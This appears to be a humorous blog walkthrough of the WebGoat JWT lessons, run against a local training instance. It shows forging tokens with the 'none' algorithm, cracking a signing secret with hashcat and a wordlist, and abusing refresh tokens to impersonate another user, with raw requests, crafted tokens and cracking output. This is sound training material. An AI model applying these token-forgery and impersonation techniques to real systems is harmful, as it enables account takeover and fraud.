


# WebGoat JWT Tokens

Twitter: @BlackSheepSpicy

Twitch: <a href="https://twitch.tv/BlackSheepSpicy">https://twitch.tv/BlackSheepSpicy</a>

**4.** Who's ready to get Russian because OWASP wants to fuck with vote counts now:



Not shown: big ass form that would make my life hell trying to fit it into this writeup

Right so... we need a token... the majority of the inputs here either give us no token or they just flat out don't let us use them because we're logged in as guest in this scenario, until...



So we can change users on the fly? Wouldn't we need to authenticate first? Let's take a look at what this request looks like going over the wire:



```
GET /WebGoat/JWT/votings/login?user=Jerry HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://localhost:8080/WebGoat/start.mvc

Content-Type: application/json

X-Requested-With: XMLHttpRequest

Cookie: access_token=; JSESSIONID=8DD3F48EFD287AA074296237E96D8605

Connection: close
```


So still no token but it IS pointing to the authentication endpoint, we probably won't get anything from this because we don't have a password but lets send this over to repeater and... oh:



There's a US voting system joke in here somewhere I can smell it man.

Well fuck we got ourselves a token... now we could shoot this over to decoder but thanks to one my viewers(OffLightX on Twitch, cool dude, knows his shit) we can paste this token into <a href="https://jwt.io/">https://jwt.io/</a> which will automatically decode from base64 and then format it all nice and pretty for us:





It's actually one of the best things ever when fucking around with JWT's i'm not gonna lie to you



Now my first reaction here was just to change the admin value to true then fire it off but take a look at that blue part: its signed with a secret that unfortunately we don't have access to, and without that secret the server will keep rejecting our token...

Luckily for us (not so much for the people responsible for the servers) turns out we don't even need to include a signature with the token, we can just set the **alg** value to **none** and completely remove the signature for some reason. With that in mind our token now looks something like this:




Note: Make sure you keep that period at the end of the second base64 string, if you don't the server will reject your token and you'll spend the next 30 minutes figuring out what the problem is. Don't ask me how I know.

A couple things to keep in mind here: for some reason JWT.io **really** doesn't like it when you try to get rid of the signature so what you can do instead is highlight the token header in burp then send it to decoder:


```
access token=eyJhbGciOiJIUzUxMiJ9
                                    Send to Intruder
                                                                    Ctrl-I
YXQi0jE1NjQ20TA20DQsImFkbWluIjoiZ
UiLCJlc2VyIjoiSmVycnkifQ.PTyqSsQA Send to Repeater
                                                                    Ctrl-R
Pf0wRdJQPV1fUIdl_xqu9GhlPCsNAk9gQ Send to Sequencer
7Nor8UMfYb3iZLVNku-hbY6dAJPJ5 ZgC
                                    Send to Comparer
X-Content-Type-Options: nosniff
                                    Send to Decoder
X-XSS-Protection: 1; mode=block
                                    Show response in browser
X-Frame-Options: DENY
Content-Type: application/json
                                    Request in browser
```



Now from decoder we can click "decode as ..." from the dropdown menu and select base64, this will give us our raw header:



From here it's just a matter of changing the hashing algorithm from HMAC SHA 512 to None (or just... replacing "HS512" with "None". Lowkey just wanted to sound smart for a second) then encode back to base64:



Now we just copy that bad boy into our token on JWT.io


Alright, our token is modified, our burp is running, our shirts are off (wait, no), let's сфальсифицировать выборы er I mean... spoof the admin and reset the votes... yeah...



Begin by intercepting the request to reset the vote counts:




After that it's just a matter of removing the old token and slapping in the token we crafted earlier and letting it fly:





## **5.** Onto the next challenge then:



So curious thing about this challenge: Apparently WebGoat never checks for signatures on tokens... ever... which is great if you're trying to speedrun this challenge because you can set the hashing algorithm to **None** like we did in the last challenge and just yeet everything (more on that later). But for the sake of education (and hating myself) lets see how this challenge is supposed to be completed:

Remember how I said the token is signed with a hash value? Turns out **Hashcat** supports JWT cracking, so rather than trying to single out the HMAC SHA512 hash (I tried, it didn't work) we can instead just plunk the whole damn thing into hashcat and let it cook!

Let's take a look at the command I used:

### hashcat -m 16500 <token> -a0 <wordlist>

-m: specifies the **method** that we're going to use to crack this hash, it's more akin to telling hashcat what exactly it's looking at so it can act appropriately.

**16500**: this is the actual method, because hashcat supports so many different types of methods they are instead indexed by numbers rather than names, with **16500** being what the JSON Web Token format is indexed as.

-a0: This is the attack type hashcat will use when attempting to crack the hash. it differs from the method in that rather than telling hashcat what it's looking at, with this flag we are instead telling hashcat **how** to attack it. In this case we are using the



**straight** attack type, which for some reason is what hashcat calls a **dictionary attack**. For the wordlist I used **rockyou.txt** 

With that said, here's what the command actually looked like:

root@kali:-# hashcat -m 16500 eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3Mi0iJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQi0jE1MjQy
MTA5MDQsImV4cCI6MTYx0DkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIi0iJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjo
idG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQP0t78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJ
gM -a0 /usr/share/wordlists/rockyou.txt

Yep... that's why I used an example command... this shit nasty

Now we spool it up and wait for the rest of ou...

```
Dictionary cache hit:
Filename..: /usr/share/wordlists/rockyou.txt
  Passwords.: 14344385
  Bytes....: 139921507
 Keyspace..: 14344385
eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3Mi0iJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQi
OjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIi0iJ0b21Ad2ViZ
29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW
5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJq
M:victory
Session....: hashcat
Status..... Cracked
Hash.Type.....: JWT (JSON Web Token)
Hash.Target.....: eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3Mi0iJXZW...3RUJgM
Time.Started....: Mon Jul 22 23:11:51 2019 (0 secs)
Time.Estimated...: Mon Jul 22 23:11:51 2019 (0 secs)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1....:
                     316.5 kH/s (11.83ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress..... 4096/14344385 (0.03%)
Rejected....: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> 000000
```

Quick shoutout to Black Hills (the devs of hashcat) for their hashcat cheat sheet:

https://www.dropbox.com/s/kdklrowv683yg1a/HashcatCheatSheet.v2018.1b%20%282%29.pdf?dl=0

Well damn... that was fast... alrighty well if you look at the end of the token right after the semicolon we can see the secret used to help sign it: **victory** 



So now we can make whatever changes OWASP needs us to do, slap that secret we worked so hard for into the signature, and claim a job well done:

eyJhbGciOiJIUzI1NiIsInR5cCI6Ik
pXVCJ9.eyJpc3MiOiJXZWJHb2F0IFR
va2VuIEJ1aWxkZXIiLCJpYXQiOjE1M
jQyMTA5MDQsImV4cCI6MTYxODkwNTM
wNCwiYXVkIjoid2ViZ29hdC5vcmciL
CJzdWIiOiJ0b21Ad2ViZ29hdC5jb20
iLCJ1c2VybmFtZSI6IIdlYkdvYXQiL
CJFbWFpbCI6InRvbUB3ZWJnb2F0LmN
vbSIsIlJvbGUiOlsiTWFuYWdlciIsI
1Byb2p1Y3QgQWRtaW5pc3RyYXRvciJ
dfQ.dImA6LEwQc1ZqVPWWGE01u1j02ayfx81ZetbDqiTc

```
"alg": "HS256",
   "typ": "JWT"
PAYLOAD:
   "iss": "WebGoat Token Builder",
   "iat": 1524210904,
   "exp": 1618905304,
   "aud": "webgoat.org",
   "sub": "tom@webgoat.com",
   "username": "WebGoat",
   "Email": "tom@webgoat.com",
   "Role": [
     "Manager",
     "Project Administrator"
VERIFY SIGNATURE
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
 ) secret base64 encoded
```






5. This was a weird challenge, honestly it felt like a bit was missing. Even if you look at the hints and everything it's still very easy to get lost... Though after solving it (after looking at a writeup where the dude went into the fucking source code of webgoat to figure out what to do to solve the damn thing, found here:

<a href="https://cysecguide.blogspot.com/2019/04/webgoat-writeupjwt-tokens-7-refreshing.html">https://cysecguide.blogspot.com/2019/04/webgoat-writeupjwt-tokens-7-refreshing.html</a>)

I think I can piece together how to solve it just from the info provided.

#### So let's do it!



#### They also give us a log file:

```
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh /checkout?token=eyJhbGci0iJIUzUxMiJ9.eyJpYXQi0jE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4i0iJmYWxzZSIsInVzZXIi0iJUb20ifQ.DCoaq9zQky DH25EcWWKcdbyVfUL4c904jRvsqQqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" "195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
```



Okay so... yeah... I have no idea how they wanted us to figure it out... we don't have a refresh token... or a refresh endpoint... or... anything really... so here's what Jang Yong Ha did in his writeup (again, found here:

https://cysecguide.blogspot.com/2019/04/webgoat-writeupjwt-tokens-7-refreshing.html i'm going to keep plugging him because this writeup saved my ass big time on stream.)

So he starts out by throwing a JSON payload with some credentials that I guess he pulled from the source code at the login endpoint:

```
Request
                                                                Response
POST /WebGoat/JWT/refresh/login HTTP/1.1
                                                              HTTP/1.1 200
Host: localhost:8080
                                                              X-Application-Context: application:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
                                                              X-Content-Type-Options: nosniff
Gecko/20100101 Firefox/60.0
                                                              X-XSS-Protection: 1; mode=block
Accept: */*
                                                              X-Frame-Options: DENY
Accept-Language: en-US,en;q=0.5
                                                               Content-Type: application/json;charset=UTF-8
                                                              Date: Tue, 23 Jul 2019 07:15:56 GMT
Connection: close
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
                                                              Content-Length: 220
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=8DD3F48EFD287AA074296237E96D8605
                                                                "access_token" :
Connection: close
                                                               "eyJhbGciOiJIUzUxMiJ9.eyJhZGlpbiI6ImZhbHNlIiwidXNlciI
Content-Lenath: 46
                                                               61kplcnJ5In0.Z-ZX2L0Tuub0LEyj9NmyVADu7tK40gL9h1EJeRg1
{"user":"Jerry","password":"bm5nhSkxCXZkKRy4"}
                                                               DDa6z5 H-SrexH1MYHoIxRyApn0P7NfFonP3r0w1Y5qi0A",
                                                                 "refresh_token" : "XxoiDJKwSoWoPmyuQmLf"
```

This is as much guidance as the write up gave for us, but honestly with this starting point this about as much as we to complete the challenge on our own. In the other writeup provided in WebGoat they talk about a vulnerability discovered where you can refresh any bearer token with a refresh token and if you remember from the log they give us an expired token, So with that being said:


```
Request
Raw Params Headers Hex
POST /WebGoat/JWT/refresh/newToken HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/json; charset=UTF-8
Authorization: Bearer
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW
4i0iJmYWxzZSIsInVzZXIi0iJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsq0qvi9
iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=DF497439D8CEADAEEEF80BD097476C92
Connection: close
Content-Length: 40
{"refresh_token": "MDIoYmjMbVpQ00emBJtB"}
```



A couple things to note here:

- **JWT/refresh/newToken:** This is the endpoint where we can refresh our token, I found this from the hints given in webgoat
- Content-Type: make sure this is set to application/json, as this will tell the endpoint what the payload is and how to parse it
- Authorization: This is where that token we pulled from the log file goes

Now that our headers, payload, and endpoint are set we can fire this off and claim to be Tom:



And now we can double check to make sure that our new token belongs to Tom:

```
Encoded
                                                Decoded
                                                 HEADER:
  eyJhbGciOiJIUzUxMiJ9.eyJhZG1pb
  iI6ImZhbHNlIiwidXNlciI6IlRvbSJ
                                                    "alg": "HS512"
  9.a4yUoDOuv6L7ICs-
  HsE6craLHG_u6YDTkmXiGHjF7GdJZV
  ZWCTurWBBunW9ujab8f4vNG31XAEvW
                                                 PAYLOAD:
  YUEmAt0SGg
                                                    "admin": "false",
                                                    "user": "Tom"
                                                 VERIFY SIGNATURE
                                                  HMACSHA512(
                                                   base64UrlEncode(header) + "." +
                                                   base64UrlEncode(payload),
                                                   your-256-bit-secret
                                                  ) secret base64 encoded
```



So now that we have a fresh token that doesn't belong to us, we can buy things with money that also doesn't belong to us! To do this we can just intercept the packet from clicking the checkout button and sending it to repeater

From here it's just a matter of making similar changes to the packet like we have previously except now using our new and totally legitimate token:


```
Request
Raw Params Headers Hex
POST /WebGoat/JWT/refresh/checkout HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0)
Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8
Authorization: Bearer
eyJhbGciOiJIUzUxMiJ9.eyJhZGlpbiI6ImZhbHNlIiwidXNlciI6I
lRvbSJ9.a4yUoDOuv6L7ICs-HsE6craLHG_u6YDTkmXiGHjF7GdJZV
ZWCTurWBBunW9ujab8f4vNG31XAEvWYUEmAt0SGg
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=DF497439D8CEADAEEEF80BD097476C92
Connection: close
Content-Length: 0
```

Now fire it off and drain Tom's bank account





8. Thankfully this next challenge is much easier and straight forward than number 7, let's take a look at what they want us to do:



Damn we really have it out for Tom don't we?


Well... we already drained the poor dudes bank account, might as well finish him off and kill his influencer status.

Lets see what the delete request looks like going over the wire:

```
POST
/WebGoat/JWT/final/delete?token=eyJ0eXAi0iJKVlQiLCJraWQi0iJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3Mi0iJXZWJHb2F
0IFRva2VuIEJlaWxkZXIiLCJPYXQi0jEIMjQyMTASMDQsImV4cCI6MTYxODkwNTMvNCwiYXVkIjoid2V1Z29hdC5vcmciLCJzdwIi0iJqZXJyeUB3ZW
Jnb2F0LmNVbSIsInV2ZXJuYWllIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6
izOU638uUCi6Uhi0JKYzoEZGE8 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: JSESSIONID=DF497439D8CEADAEEEF80BD097476C92
Connection: close
Content-Length: 0
```



Wow an actual straight forward vector, this is a nice change of pace! So rather than just making our lives more difficult than it has to be let's just throw this token into JWT.io, change the values to Tom, and ditch the signature like we did in previous challenges:



Then just slap that bad boy into the token input and baby you got a stew goin.

```
Target: http://localhost:8080 🖉 ?
 Request
                                                               Response
                                                              HTTP/1.1 200
/WebGoat/JWT/final/delete?token=eyJ0eXAi0iJKVlQiLCJraW
                                                              X-Application-Context: application:8080
                                                              X-Content-Type-Options: nosniff
                                                              X-XSS-Protection: 1; mode=block
                                                              X-Frame-Options: DENY
                                                              Content-Type: application/json;charset=UTF-8
                                                              Date: Wed, 24 Jul 2019 01:15:14 GMT
                                                              Connection: close
HTTP/1.1
Host: localhost:8080
                                                              Content-Length: 132
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:60.0)
Gecko/20100101 Firefox/60.0
                                                                "lessonCompleted" : true,
Accept: */*
                                                                "feedback" : "Congratulations. You have
Accept-Language: en-US,en;q=0.5
                                                              successfully completed the assignment.",
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/WebGoat/start.mvc
                                                                "output" : null
Content-Type: application/x-www-form-urlencoded;
charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
Content-Length: 0
```



I really appreciate you sticking around until the end of this write up, especially after the token refresh problems (again huge shout out to Jang Yong Ha for the life saving writeup:

https://cysecguide.blogspot.com/2019/04/webgoat-writeupjwt-tokens-7-refreshing.html)

If you want to see me suffer through challenges like this live be sure to drop by when im live on Twitch and follow my Twitter for some fresh memes!

